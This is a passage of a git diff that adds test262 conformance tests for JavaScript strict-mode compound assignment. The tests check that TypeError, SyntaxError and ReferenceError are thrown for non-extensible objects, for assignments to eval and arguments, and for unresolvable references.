@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-53-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(&=) is a reference to a non-existent property of an object whose [[Extensible]] internal property if false
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.preventExtensions(obj);
+
+ try {
+ obj.len &= 10;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-54-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-54-s.js
new file mode 100644
index 000000000..f5439a483
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-54-s.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-54-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(^=) is a reference to a non-existent property of an object whose [[Extensible]] internal property if false
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.preventExtensions(obj);
+
+ try {
+ obj.len ^= 10;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-55-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-55-s.js
new file mode 100644
index 000000000..e44a53038
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-55-s.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-55-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(|=) is a reference to a non-existent property of an object whose [[Extensible]] internal property if false
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.preventExtensions(obj);
+
+ try {
+ obj.len |= 10;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-1-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-1-s.js
new file mode 100644
index 000000000..6bbe5ceb7
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-1-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-6-1-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier eval appear as the LeftHandSideExpression of a Compound Assignment operator(*=)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var blah = eval;
+ try {
+ eval("eval *= 20;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === eval;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-10-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-10-s.js
new file mode 100644
index 000000000..acf0fc522
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-10-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-6-10-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier eval appear as the LeftHandSideExpression of a Compound Assignment operator(^=)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var blah = eval;
+ try {
+ eval("eval ^= 20;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === eval;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-11-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-11-s.js
new file mode 100644
index 000000000..7273172df
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-11-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-6-11-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier eval appear as the LeftHandSideExpression of a Compound Assignment operator(|=)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var blah = eval;
+ try {
+ eval("eval |= 20;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === eval;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-12-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-12-s.js
new file mode 100644
index 000000000..b3eaf8e76
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-12-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-6-12-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier arguments appear as the LeftHandSideExpression of a Compound Assignment operator(*=)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var blah = arguments;
+ try {
+ eval("arguments *= 20;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === arguments;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-13-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-13-s.js
new file mode 100644
index 000000000..f553885ba
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-13-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-6-13-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier arguments appear as the LeftHandSideExpression of a Compound Assignment operator(/=)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var blah = arguments;
+ try {
+ eval("arguments /= 20;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === arguments;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-14-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-14-s.js
new file mode 100644
index 000000000..f039ab988
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-14-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-6-14-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier arguments appear as the LeftHandSideExpression of a Compound Assignment operator(%=)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var blah = arguments;
+ try {
+ eval("arguments %= 20;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === arguments;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-15-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-15-s.js
new file mode 100644
index 000000000..cd473315c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-15-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-6-15-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier arguments appear as the LeftHandSideExpression of a Compound Assignment operator(+=)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var blah = arguments;
+ try {
+ eval("arguments += 20;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === arguments;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-16-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-16-s.js
new file mode 100644
index 000000000..4c7038b79
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-16-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-6-16-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier arguments appear as the LeftHandSideExpression of a Compound Assignment operator(-=)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var blah = arguments;
+ try {
+ eval("arguments -= 20;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === arguments;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-17-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-17-s.js
new file mode 100644
index 000000000..1b0efaf36
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-17-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-6-17-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier arguments appear as the LeftHandSideExpression of a Compound Assignment operator(<<=)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var blah = arguments;
+ try {
+ eval("arguments <<= 20;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === arguments;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-18-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-18-s.js
new file mode 100644
index 000000000..0413ebfeb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-18-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-6-18-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier arguments appear as the LeftHandSideExpression of a Compound Assignment operator(>>=)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var blah = arguments;
+ try {
+ eval("arguments >>= 20;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === arguments;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-19-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-19-s.js
new file mode 100644
index 000000000..8af9d1b37
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-19-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-6-19-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier arguments appear as the LeftHandSideExpression of a Compound Assignment operator(>>>=)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var blah = arguments;
+ try {
+ eval("arguments >>>= 20;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === arguments;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-1gs.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-1gs.js
new file mode 100644
index 000000000..a3f33416c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-1gs.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-6-1gs.js
+ * @description Strict Mode - SyntaxError is throw if the identifier eval appears as the LeftHandSideExpression of a Compound Assignment operator(*=)
+ * @onlyStrict
+ * @negative ^((?!NotEarlyError).)*$
+ */
+
+"use strict";
+throw NotEarlyError;
+eval *= 20;
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-2-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-2-s.js
new file mode 100644
index 000000000..f342f29ef
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-2-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-6-2-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier eval appear as the LeftHandSideExpression of a Compound Assignment operator(/=)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var blah = eval;
+ try {
+ eval("eval /= 20;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === eval;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-20-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-20-s.js
new file mode 100644
index 000000000..468a01dab
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-20-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-6-20-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier arguments appear as the LeftHandSideExpression of a Compound Assignment operator(&=)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var blah = arguments;
+ try {
+ eval("arguments &= 20;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === arguments;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-21-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-21-s.js
new file mode 100644
index 000000000..6ce81e359
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-21-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-6-21-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier arguments appear as the LeftHandSideExpression of a Compound Assignment operator(^=)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var blah = arguments;
+ try {
+ eval("arguments ^= 20;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === arguments;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-22-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-22-s.js
new file mode 100644
index 000000000..48a6651c2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-22-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-6-22-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier arguments appear as the LeftHandSideExpression of a Compound Assignment operator(|=)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var blah = arguments;
+ try {
+ eval("arguments |= 20;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === arguments;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-3-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-3-s.js
new file mode 100644
index 000000000..133e41d16
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-3-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-6-3-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier eval appear as the LeftHandSideExpression of a Compound Assignment operator(%=)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var blah = eval;
+ try {
+ eval("eval %= 20;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === eval;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-4-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-4-s.js
new file mode 100644
index 000000000..c5314930e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-4-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-6-4-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier eval appear as the LeftHandSideExpression of a Compound Assignment operator(+=)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var blah = eval;
+ try {
+ eval("eval += 20;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === eval;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-5-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-5-s.js
new file mode 100644
index 000000000..394632041
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-5-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-6-5-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier eval appear as the LeftHandSideExpression of a Compound Assignment operator(-=)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var blah = eval;
+ try {
+ eval("eval -= 20;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === eval;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-6-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-6-s.js
new file mode 100644
index 000000000..e3e709b76
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-6-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-6-6-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier eval appear as the LeftHandSideExpression of a Compound Assignment operator(<<=)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var blah = eval;
+ try {
+ eval("eval <<= 20;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === eval;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-7-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-7-s.js
new file mode 100644
index 000000000..f07505be0
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-7-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-6-7-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier eval appear as the LeftHandSideExpression of a Compound Assignment operator(>>=)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var blah = eval;
+ try {
+ eval("eval >>= 20;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === eval;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-8-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-8-s.js
new file mode 100644
index 000000000..8a2226ae1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-8-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-6-8-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier eval appear as the LeftHandSideExpression of a Compound Assignment operator(>>>=)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var blah = eval;
+ try {
+ eval("eval >>>= 20;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === eval;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-9-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-9-s.js
new file mode 100644
index 000000000..4f5817fdb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-9-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-6-9-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier eval appear as the LeftHandSideExpression of a Compound Assignment operator(&=)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var blah = eval;
+ try {
+ eval("eval &= 20;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === eval;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-s.js
new file mode 100644
index 000000000..832d3afd0
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-6-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-6-s.js
+ * @description Strict Mode - ReferenceError is thrown if the LeftHandSideExpression of a Compound Assignment operator(<<=) evaluates to an unresolvable reference
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ try {
+ eval("_11_13_2_6 <<= 1;");
+ return false;
+ } catch (e) {
+ return e instanceof ReferenceError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-7-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-7-s.js
new file mode 100644
index 000000000..8a290330a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-7-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-7-s.js
+ * @description Strict Mode - ReferenceError is thrown if the LeftHandSideExpression of a Compound Assignment operator(>>=) evaluates to an unresolvable reference
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ try {
+ eval("_11_13_2_7 >>= 1;");
+ return false;
+ } catch (e) {
+ return e instanceof ReferenceError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-8-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-8-s.js
new file mode 100644
index 000000000..4f4167f87
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-8-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
